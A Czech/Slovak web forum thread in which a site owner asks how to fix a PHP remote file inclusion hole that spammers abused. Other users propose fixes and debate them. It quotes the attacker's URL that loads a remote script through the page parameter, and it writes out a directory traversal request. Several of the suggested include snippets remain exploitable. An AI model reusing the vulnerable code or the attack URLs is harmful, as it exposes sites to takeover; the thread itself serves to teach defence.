« 1 2 »
Autor Zpráva
Sizuk
Profil *
Jsem se velkym pruseru. Z mýho webu bylo odesláno desetitisíce emailů, z hostingu mi napsali:

"Problem je ve skriptu: http://www.nejakejmujweb.net/cz/index.php
jako parametr skriptu page= lze zadat php skript ulozeny kdekoliv na
internetu a tento je proveden nasim serverem.."

Teda někdo udělal http://www.nejakejmujweb.net?page=http://0123456789.xpg.com.br/toma.tx t a udělalo to takovej pruser že mi tedka zablokovali web. Jak se mám proti tomu bránit? Nemám vubec páru... Hoří mi zadek... pomoc, díky
Sizuk
Profil *
Jinak ještě takhle to vypadá u mě:

if ($page == ""){

include "hlavni.php";
}
elseif ($page == "index"){

include "hlavni.php";
}
else{
include "$page.php";
}
Casero
Profil
Sizuk
adresu zadávej jako include ./neco tzn. že je to z tvého webu
Alphard
Profil
include "$page.php";
problém je tady, lze includovat jakoukoliv stránku
Sizuk
Profil *
hmm takze to mám zmenit na

if ($page == ""){

include " http://www.nejakejmujweb.net/cz/hlavni.php";
}
elseif ($page == "index"){

include " http://www.nejakejmujweb.net/cz/hlavni.php";
}
else{
include " http://www.nejakejmujweb.net/cz/$page.php";
}

tak?
Kajman_
Profil *
if ($page == "" or $page == "index")
{
include_once "hlavni.php";
}
else
{
if(file_exists("$page.php"))
{
include_once "$page.php";
}
}
hej?
Profil *
Ja riesim includovanie pluginov takto:

include(dirname(__FILE__).'/dir.inclusions/'.$_GET['plugin'].'.php');
hej?
Profil *
alebo ak je subor v tom istom folderi:

include(dirname(__FILE__).'/'.$_GET['plugin'].'.php');
hej?
Profil *
a da sa to este vylepsit pomocou realpath()

include(realpath(dirname(__FILE__).'/dir.inclusions/'.$_GET['plugin']. '.php'));
hej?
Profil *
funkcia na odstranovanie viacnasobnych slashov

function fixSlashes($input)
{
return preg_replace('/(\/|\\\)++/','/',$input);
//http://sk2.php.net/manual/cs/function.preg-replace.php
}
peki2
Profil *
staci to takto JEDNODUCHO a EFEKTIVNE
$page=$_GET["page"];
$inc=$page.".php";
include $inc;


btw ak budes xcet includnut ahoj.php das www.neco.net/index.php?page=ahoj

peki2
hej?
Profil *
a ja tam dam www.necoine.net/index.php?page=ahoj
a na www.necoine.net/ budem mat pripraveny skript v subore "ahoj" a sme tam kde sme boli.

v mojom rieseni nezabezpecuje bezpecnost riesenia oddelenie mena suboru od pripony ale to "dirname(__FILE__)" co vracia absolutnu cestu prave beziaceho skriptu

vid: http://sk2.php.net/manual/cs/function.dirname.php
rabbit
Profil
To peki2: sorry, ale takové rady si strč někam. To tvoje řešení je úplně nachlup stejně děravé jako to původní Sizukovo.

A pánové, vy zbylí, co si ošetřujete cestu, případně i testujete existenci souboru, tak vám bohužel musím taky oznámit, že jste lamy (a to jsem ještě slušný).

Pořád tam totiž máte potenciální bezpečnostní riziko... pořád dáváte zákeřnému návštěvníkovi možnost inkludovat něco, co nechcete (co by něměl).

Pokud děláte include podle proměnné z getu, vy jako autoři své aplikace víte sami nejlépe, co může takhle (třeba přes odkaz v menu) includovat. Nebuďte proto líní, nejjednodušší řešení je použít konstrukci switch spolu s definovaným default.

V případě větších projektů je to pak nejlepší řešit přes databázi (můžete si zároveň jednoduše řešit/spravovat i další spojené záležitosti, jako např. uživatelská práva návštěvníků k jednotlivým include).

Věřte tomu, že šikovných lidí jako je autor toho skriptu na http://www.0123456789.xpg.com.br/toma.txt je spousta. Nebuďte prasata a pište bezpečné aplikace. Jinak Vás opravdu budou vyhazovat z hostingů a nakonec je to jen dobře.
krteczek
Profil
jedno bezpečné řešení spočívá v použití pole:


function ukaz_clanek()
{
if(!empty($_SERVER['QUERY_STRING']))
{
/***************************************************************** **

* do pole zapíšeme všechny stránky, které můhou být volané přes

* proměnnou $_SERVER['QUERY_STRING']
, volám stránky: ?nazev-stranky
* ***************************************************************/

$admini = array( 'aktuality-vypis' => 'aktuality/aktuality-vypis',

'aktuality-pridat' => 'aktuality/aktuality-pridat-novou',

'aktuality-ukaz' => 'aktuality/aktuality-pridat-novou-ukaz',
'aktuality-zobrazeni' => 'aktuality/aktuality-zobrazeni',

'aktuality-smazat' => 'aktuality/aktuality-smazat',


'kategorie-vypis' => 'kategorie/kategorie-vypis',

'kategorie-pridat' => 'kategorie/kategorie-pridat-novou',

'kategorie-ukaz' => 'kategorie/kategorie-pridat-novou-ukaz',

'kategorie-zobrazeni' => 'kategorie/kategorie-zobrazeni',

/* takhle pokračovat */
);
//echo $_SERVER['QUERY_STRING']."<br>";
//echo $admini[$_SERVER['QUERY_STRING']].'.inc.php'."<br>";
$promenna = explode('&', $_SERVER['QUERY_STRING']);

if(array_key_exists($promenna[0], $admini) === true)

{

$cesta = './adresar-se-soubory/' . $admini[$promenna[0]].'.inc.php';
if(file_exists($cesta))

{

require_once($admini[$promenna[0]].'.inc.php');

$s = stranka();

}

else

{

$s = not_found();
}

}
}
else
{
include("./adresar-se-soubory/admin.inc.php");
$s = stranka();
}
//vytvoření menu

$cesta = "./adresar-se-soubory/navigace.inc.php";
if(file_exists($cesta))
{
include($cesta);
$s['menu'] = navigace();
}


return $s;
}

v includnutých souborech je vždycky funkce, která vrací $s['nazev'], $s['obsah'], v téro funkci přidám $s['menu'] a vše vrátím pomocí return stránce ze které je funkce volaná. na ní jen vložím do html kostry tam kde chci tyto proměnné.

<?php
$s = ukaz_clanek();
?>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN">
<html >
<head>
<title><?php echo @$s['nazev'];?></title>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-2">
<link rel="stylesheet" type="text/css" href="styl.css">
</head>
<body>
<div id="vsechno">
<div id="hlavicka">
<h1><?php echo @$s['nazev'];?></h1>
</div>
<div id="siroky">
<?php echo @$s['obsah'];?>
</div>
<div id="uzky">
<?php echo @$s['menu'];?>
</div>
<div id="paticka">
<p>tady je paticka</p>
</div>
</div>
</body>
</html>

není to zrovna šablonový systém podle představ odborníků, ale mi vyhovuje ;-)
krteczek
k
Profil *
dobry by bylo pouzivat php fci parse_url() pred includovanim mozneho neznameho souboru.
hej?
Profil *
rabbit
s definovaným default?
niekedy switch proste nejde pouzit ani databazu, co potom?
hej?
Profil *
krteczek
co su to za funkcie?

stranka()
navigace()

ako s nimi suvisia "include()/require()", ktore su pred spomenutymi funkciami?
hej?
Profil *
rabbit
a este si nam tu podstrcil nejaky skript na rozosielanie spamu? trochu mimo kontext nie?
k
Profil *
hej?
Eh tak puvodne jsem ti odepisoval hafo dlouho,ale v pulce jsem se nad tebou trochu zamyslel takze :)
peki2
Profil *
to hej?
Ak si nevedel tak apache ani ne web servre NEDOVOLIA includovat tvoje php scripty...:)
Takze tak...
hej?
Profil *
k
skoda, mohol to byt posun ...:)

peki2
nerozumiem, ake moje skripty?
hej?
Profil *
apache je web server, vecsina webovych servrov je apache...
Anonymní
Profil *
Neby ten hosting náhodou station.cz
rabbit
Profil
To hej?:
1. Jo, s definovaným default. Jestli nevíš, co znamená default v bloku switch, tak se podívej do manuálu.

"niekedy switch proste nejde pouzit ani databazu, co potom?" ... uveď příklad, nebo nic nepiš. Co ti mám na tohle odpovědět?

Jestli si myslíš, že je tvoje řešení bůhvíjak bezpečné (viz. to, co jsi popisoval ve svých příspěvcích + cituji: "v mojom rieseni nezabezpecuje bezpecnost riesenia oddelenie mena suboru od pripony ale to "dirname(__FILE__)" co vracia absolutnu cestu prave beziaceho skriptu"), tak tě upozorňuji, že není ani trošičku.
Naprostá většina vašich webů je provozována na hostingu. Tzn. na jedné mašině/disku je x webů od y majitelů v různých adresářích. Kdybych chtěl být svině, stačí mi mít konto na stejném hostingu a tím i disku. Tomu tvému "skvělému" skriptu, ve kterém bude to tvoje include(realpath(dirname(__FILE__).'/dir.inclusions/'.$_GET['plugin']. '.php'));[\i] pak jednoduše pošlu toto:
http://jmenoTvehoWebu.sk/jmenoTvehoSkriptu.php
?plugin=../../../mujAdresarNaHostingu/jmenoMehoSkodlivehoSkriptuBezPri ponyPHP
...
a hádej co ... jseš v (_._).

2. [i]a este si nam tu podstrcil nejaky skript na rozosielanie spamu? trochu mimo kontext nie?

Jestli sis nevšiml, tak s tím přišel Sizuk ... je to už v tom prvním příspěvku, takže to asi zas tak mimo kontext nebude.
Kajman_
Profil *
a takhle to je už bezpečnější?

f ($page == "" or $page == "index")
{
include_once "hlavni.php";
}
else
{
if(file_exists("$page.php") && strpos($page,"/")===false)
{
include_once "$page.php";
}
else
{
include_once "chyba.php";
}
}
rabbit
Profil
To Kajman_: skoro ;-)
Pokud máš v tom adresáři opravdu jen soubory, které chceš (dovolit) includovat, tak proč ne. Pro lepší orientaci v projektu (jeho souborech) bych však těm souborům určeným pro include vyhradil samostatný adresář.
Ale:
1.) špatné pořadí testování ... místo if(file_exists("$page.php") && strpos($page,"/")===false) by mělo být if(strpos($page,"/")===false && file_exists("$page.php"))

2.) Testování na lomítko nestačí. Co např. zpětné lomítko? Aplikace by měla být napsaná tak, aby byla platformně nezávislá ... a pokud hosting bude na windowsech, tak tam máš opět díru.

Obecně zásada bezpečnosti (konkrétně o testování vstupu uživatele) (není to z mé hlavy, je to základní poučka, ale hledat zdroj a linkovat ho tady se mi nechce):
Netestujte, jestli uživatel zadal něco špatně. Testujte, jestli to zadal dobře. Možností uškodit je vždy více než možností správných (=> méně programování), nehledě na to, že všechny hrozby nemáte šanci ani domyslet.
Takže pokud trváte na dynamickém include souboru podle proměnné v $_GET (bez výčtu možností v bloku switch), je lepší přijmout si pár projektových pravidel a těch se držet. Příklad pravidel:
1) soubory pro include budou v adresáři "inc".
=> přehlednost
2) názvy souborů budou obsahovat jen malá písmena bez diakritiky, číslice a podtržítka.
=> pozitivní vymezení

Tvůj kód bych pak upravil takto:

$page = isset($_GET['page']) ? strtolower($_GET['page']) : '';
if ($page == '' or $page == 'index')
{
include_once 'inc/hlavni.php';
}
else
{
if(preg_match('/^\\w+$/',$page) && file_exists("inc/$page.php"))
{
include_once "inc/$page.php";
}
else
{
include_once 'inc/chyba.php';
}
}
hej?
Profil *
rabbit
uhm, rozumiem, no da sa vyriesit aj to:
$path=str_replace('../','*',$_GET['path']);
viem ze to je len take platanie dier, no verim tomu ze sa da dopracovat k elegantnemu rieseniu ak potrebujem dynamicky includovat skripty, celkovo sa mi zda tato diskusia dost prinosna, hlavne pre zaciatocnikov, ktory neriesia otazky bezpecnosti ...
mila
Profil
Řešení může být použít realpath.

$include_dir = dirname(__FILE__) . DIRECTORY_SEPARATOR . 'include' . DIRECTORY_SEPARATOR;
$path = realpath ($include_dir . $_GET['page']);
if (0 !== strpos($path, $include_dir) {
die('Page not found.');
}
include ($path);
links
Profil *
realpath() to neriesi, uz tu bola o tom rec, a ja som si to aj otestoval

zatial som dospel k takemu niecomu:
/**************************************/
$path=fix_slashes($_GET['path']);
if(strpos($path,'..')!==false){unset($path);}

/**************************************/
function fix_slashes($input)
{
return preg_replace('/(\/|\\\)++/','/',$input);

/**
* Replaces excess / slashes, and converts \ slashes into /
*
* Author: William Jaspers, wjapers[at]nuaire[dot]com
* Created: 04 Oct 2006 11:38 AM
* @param string $input // The string to strip and replace slashes in
* @returns string
*
* http://sk2.php.net/manual/cs/function.preg-replace.php
*/
}
mila
Profil
realpath() to neriesi, uz tu bola o tom rec, a ja som si to aj otestoval
Proč to neřeší?
Pokud vím, tak podobně interně funguje kontrola open_base_dir.

Výhoda tohoto řešení je, že ho můžeš použít i pokud jsou soubory v nějaké struktuře.
« 1 2 »
Toto téma je uzamčeno. Odpověď nelze zaslat.

0